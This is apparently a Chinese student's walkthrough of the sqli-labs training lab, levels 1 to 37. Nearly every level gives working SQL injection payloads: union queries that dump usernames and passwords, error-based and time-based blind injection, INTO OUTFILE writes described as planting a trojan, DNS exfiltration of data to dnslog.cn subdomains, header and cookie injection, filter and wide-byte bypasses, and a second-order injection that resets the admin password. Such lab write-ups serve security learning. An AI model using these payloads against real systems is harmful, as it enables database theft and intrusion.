sql-labs-less-1-10

Less-1-基于’ 的字符型注入

进去后老套路

先测试一下注入点

id=1’ and 1=1 –+

把1=1换成1=2

id=1‘ and 1=2 –+

发现没有报错,也没有显示错误信息,说明可以使用 ‘ 字符注入

查询有多少列

id=1’ order by 4 –+

出现错误,证明表中只有三列

判断显示点

id=-1’ union select 1,2,3 –+

查询用户,数据库

id=-1’ union select 1,user(),database() –+

查询用户名,密码

id=-1’ union select 1,(select group_concat(concat_ws(‘—‘,username,password)) from users),3 –+

Less-2-数字型注入

由提示知道是整数型注入

老套路

id=1 and 1=1 –+

吧1=1换成1=2

id=1 and 1=2 –+

没有错误,也没有回显,说明为数字型注入

查询有多少列

id=1 order by 4 –+

查询显示点

id=-1 union select 1,2,3 –+

查询用户名,密码

id=-1 union select 1,(select group_concat(concat_ws(“—“,username,password)) from users),3 –+

Less-3-基于’) 的字符注入

提示是弯曲的字符,可以猜测可能是 ) 字符注入

可以直接去看代码验证

知道了注入点,就开始老套路

查询列数

id=1’) order by 4 –+

查询显示点

id=-1’) union select 1,2,3 –+

查询用户名,密码

id=-1’) union select 1,(select group_concat(concat_ws(“—“,username,password)) from users),3 –+

Less-4-基于”) 的字符型注入

根据提示可以知道,这题是双引号字符注入
测试注入点,刚开始还以为是只有双引号的注入点

id=1” and 1=1 –+

结果提示错误了
于是我就猜测可能是包括了上一题的 ) 字符注入点,在后面加个 )

id=1”) and 1=1 –+

有反应了,继续测试

id=1”) and 1=1 –+

没有提示错误也没有回显,说明注入点正确,接下来就是老套路了

id=1”) order by 4 –+ //查询列
id=-1”) union select 1,2,3 –+ //查询显示点
id=-1”) union select 1,(select group_concat(concat_ws(“—“,username,password)) from users),3 –+ //查询用户名,密码

最终结果

Less-5-基于’ 的报错注入

题目刚开始给了个double query的提示,由于是第一次见,没明白是啥意思。
就开始常规的测试一下注入点

id=1’ and 1=1 –+
id=1’ and 1=2 –+

发现字符注入可行,查询一下列数

id=1’ order by 4 –+

然后查显示点的时候,发现一个很严重的问题,题目没有给出显示点

id=-1’ union select 1,2,3 –+

还没见过这种类型题,于是去看了眼源码

在这看到会输出mysql_error()
所以想到了报错注入,因为第一次遇到,所以去找了找报错注入咋搞
发现可以updatexml()注入

id=-1’ union select updatexml(1,concat(0x7e,user(),0x7e),1) –+

updatexml()语法

updatexml():(XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

其实,第一个和第三个参数可以随意填写

Less-6-基于” 的报错注入

与上一题同样是报错注入,但是注入点变为了 “

id=-1” union select updatexml(1,concat(user()),1) –+

Less-7-文件读写

进入题目发现提示是Dump into Outfile,说明要用到文件的读写

tips:

mysql的文件读写函数load_file函数与into outfile函数只有满足以下条件可以使用:

当前连接的mysql用户为root权限
文件权限: chmod a+x pathtofile
文件大小: 必须小于max_allowed_packet

文件的读写一般是要通过mysql配置文件的权限才可以使用的,5.5之前的版本是secure_file_priv变量 默认为空 所以直接就可以使用,但是高于5.5时mysql新出了一个secure-file-priv字段
所以我们需要更改一下mysql的配置文件,加一行

secure_file_priv=


然后重启一下mysql就可以了。(tips结束
进入题目后老方法

id=1’ and 1=1 –+

报错了,测试了一会后发现是这样闭合的

id=1’)) and 1=1 –+

提示使用outfile()函数
于是我们构造一个payload

id=-1’)) union select 1,’这是放木马的’,3 into outfile ‘D:\1.php’ –+

进D盘查看文件在不在

然后写个木马进去查看用户名和密码试试

id=-1’)) union select 1,(select group_concat(concat_ws(“—“,username,password)) from users),3 into outfile ‘D:\2.php’ –+

Less-8-基于’ 的布尔盲注

这题通过提示我们知道可以使用布尔注入,所以我想到了用dns回显来进行数据查看,这里推荐一个网站http://dnslog.cn/
进入这个网站之后,点击Get SubDomain,可以得到一个dns地址
然后编辑注入语句

id=1’ and load_file(concat(“\\“,(database()),”.xk0cq2.dnslog.cn\1.txt”)) –+

注入之后点击Refresh Record即可收到回显结果

Less-9-基于’ 的时间盲注

根据提示我们可以知道,这题是基于时间的注入,所以我们可以使用延时注入
先构造payload

id=1’ and if(length(database())>5,sleep(5),1) –+

这样,我们就可以通过浏览器的返回时间来判断数据库名的长度

Less-10-基于” 的时间盲注

这题与上图一样,可以使用延时注入,但是注入闭合点换成了”
构造payload

id=1” and if(length(database())>5,sleep(5),1) –+


Less-11-基于’ 的POST型注入

首先测试注入点

id=1’ and 1=1 –+

发现是password那块有问题,于是想到可能是–+注释被ban掉了
所以使用#注释

id=1’ and 1=1 #

成功

然后是payload

1’ or 1=1 #

成功进入

Less-12-基于”) 的POST型注入

看题目说是双引号,于是尝试构造payload

1” ‘ or 1=1 #

查看报错,发现其实是”) 闭合
所以重新来一次

1”) or 1=1 #

成功进入

Less-13-基于’) 的报错注入

根据题目可以知道是基于) 的报错注入,于是构造测试payload,发现其实是’) 闭合

1’) or 1=1 #


测试显示点发现,这题没有显示点

-1’) union select 1,2 #

所以准备用报错注入

-1’) union select updatexml(1,concat(“~”,user(),”—“),1) #

注入成功

Less-14-基于” 的报错注入

根据题目知道,这题是双引号闭合
于是构造payload

1” or 1=1 #

成功进入

与上题一样,没有显示点

-1” union select 1,2 #


于是使用报错注入

-1” union select updatexml(1,concat(““,user(),”“),1) #

成功注入

Less-15-基于’ 的POST型注入

根据提示可知,这题是用的布尔盲注,所以可以尝试使用dns传值
首先构造payload

1
1' and load_file(concat("\\\\",(database()),".rao80k.dnslog.cn\\1.txt")) #

成功传值

Less-16-基于”) 的POST型注入

这题同上,可以用dns传值
构造一下payload

1
admin") and load_file(concat("\\\\",(database()),".e8vwb8.dnslog.cn\\1.txt")) #

tips:最开始用1”) 发现一直注入不成功
后来仔细看的时候突然发现mysql注入的值是username
前几题都能行,所以一时间没看出来ε = = (づ′▽`)づ

Less-17-基于’ 的密码注入

这题刚开始的时候用老套路在username那整了好一会,发现怎么都注入不成功,然后突然发现上方有一个[PASSWORD RESET]
才反应过来这题可能是从password中注入,老眼瞎了(ˇωˇ」∠)_
试着构造了一下payload

1
' and updatexml(1,concat(0x7e,database(),0x7e),1) #

tips:这题使用了update函数,所以username得是正确的,这里以admin为例

Less-18-基于’ 的user-agent报头文件注入

这关不看源代码感觉还真不好整,瞎吉尔整了半天,结果一看源代码才知道是用user-agent报头文件注入的(:3⌒゙)
正好是第一次遇见这种类型题,去找了一下大致解法
由于锁username和password了,所以要先知道username和password才可以进行下一步
于是使用burpsuite爆破用户名和密码(这种方法其实并不实用

爆破出用户名、密码,然后进行user-agent注入
这里给出payload

1
',1,updatexml(1,concat(0x7e,database(),0x7e),1)) #

Less-19-基于’ 的referer报头文件注入

这题跟上题一样,但是是referer的报头文件注入
这里是payload

1
',updatexml(1,concat(0x7e,database(),0x7e),1)) #

Less-20-基于’ 的cookie注入

这题是真的整了好久,刚看到这题的时候我以为跟前几道报头注入的题一样,更改一下报头就行了,但是尝试了好一会发现不行。_| ̄|○
于是感觉可能是代码更改过了,跟前几题的代码不一样,所以去看了一下源代码,发现确实不一样了,闭合点改了,所以重新修改了一下payload交上去发现还是不行。(`Д´*)
最后选择去看了看网上的payload,发现是因为这题username,password,submit都限定了,只要提交了username和password就进不去注入点,由于我是用burpsuite的重发器进行payload测试的,所以一直卡在那里。┐( ̄ヮ ̄)┌
这里是payload

1
uname='union select 1,2,(updatexml(1,concat(0x7e,database(),0x7e),1)) #;

Less-21-基于’ 的cookie注入

这关根据提示可以知道,是和20关一样是用cookie进行注入,于是构造payload

1
') and updatexml(1,concat(0x7e,database(),0x7e),1)#

发现回显错误,并且是乱码,第一次遇到这种类型题,也不知道是为啥乱码。(:3_ヽ)_
于是决定去看一眼源代码,发现在交sql语句之前进行了一次base64解码才交到query的。

所以拿payload去进行一次base64编码
然后再交一次
注入成功辣。

Less-22-基于” 的cookie注入

这关和上一关一样,只不过注入语句从’) 变为了’ “
这里是payload

1
'" and updatexml(1,concat(0x7e,database(),0x7e),1)#

Less-23-过滤注释符的GET注入

这关跟第一关一样,是简单的GET注入,不过把注释符过滤掉了,但是我们可以选择用一个单引号把后边的那个单引号闭合一下就行了。

1
id=-1' union select 1,2,3 ' 1

Less-24-基于’ 的二次注入

这一关的提示是二次注入,去看看万能的网友的解释,二次注入其实就是使用一个账户来更改其他账户的用户名和密码。
在看看pass-change的源代码,知道可以从update这里入手。
我们先新建一个带有注入效果的用户名

然后登入更改密码
然后就可以使用刚刚更改的密码登入admin的用户了
最后解释下原理,这关二次注入的原理其实就是把使用一个带注释符的用户名
把原来的update sql注入语句

1
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' 

通过带有注释符的用户名变为

1
UPDATE users SET PASSWORD='$pass' where username='admin' -- - ' and password='$curr_pass' 

于是后面的password认证就被注释掉了
最后就变成

1
UPDATE users SET PASSWORD='$pass' where username='admin'

Less-25-禁止and和or的注入

这关进来后得到提示,我们的and 和 or 都被禁止了,所以可以考虑使用联合注入
这里是payload

id=-1’ union select 1,2,3 –+

=

Less-25a-禁止and和or的注入

这关跟上一关一样,但是注入点改为了无限制注入
这里是payload

id=-1 union select 1,2,3 –+

Less-26-过滤了空格和注释的注入

这关把空格和注释过滤掉了,所以我们可以选择使用单引号闭合后面的单引号
由于过滤and和or的机制是and = “”
所以我们可以这样子绕过滤

1
aandnd

当里面的and被过滤成空了之后,两边合在一起就变成了一个新的and
这里是payload

1
id=1'aandnd(updatexml(1,concat(0x7e,database(),0x7e),1))aandnd'1'='1

Less-27-过滤了union和select的注入

这关把union和select过滤掉了,但没啥事,我们前几关都在用报错注入,所以这一关也一样
这里是payload

1
id=1'and(updatexml(1,concat(0x7e,database(),0x7e),1))and'1'='1

Less-28-过滤了union和select的注入,且报错注入不可用

这关是过滤了union和select的注入,所以进来第一时间想到了报错,结果发现报错不可用,因为报错点被注释掉了,查了查发现可以用转编码
这里是payload

1
2
3
4
5
编码前
-1') UnIon All Select ('1'),2,('3
编码后
999%27)%0AUnIon%0AAll%0ASelect%0A(%271%27),2,(%273
tips:%0A是换行符

Less-29-基于’ 的字符型注入

这里是payload

1
id=999' union select 1,2,3 %23

Less-30-基于” 的字符型注入

这关跟上一关一样,但是变成了”
这里是payload

1
id=999"/**/union/**/select/**/1,2,3%23

Less-31-基于”) 的字符型注入

这关也没过滤啥
这里是payload

1
id=999") union select 1,2,3 %23

Less-32-基于’ 的宽字节注入

这关用反斜杠 / 把’ 和 “ 转义掉了,所以直接使用的话是不能闭合的,那么我们可以试一下宽字节注入
这里是payload

1
id=999%df' union select 1,2,3 %23

Less-33

这关跟上一关一样,只不过是用了php内的函数来进行反斜杠转义,也可以使用宽字节注入。

1
id=999%df' union select 1,2,3 %23

Less-34-POST方式的宽字节注入

这关也是宽字节注入,但是注入方式变为了POST型注入
这里是payload

1
-1�' union select 1,2 -- 

Less-35-数值型注入

这里是payload

1
id=999 union select 1,2,3 %23

Less-36-基于’ 的宽字节注入

这里是payload

1
id=999%df' union select 1,2,3 %23

Less-37-基于POST型的宽字节注入

这里是payload

1
999�' union select 1,2 --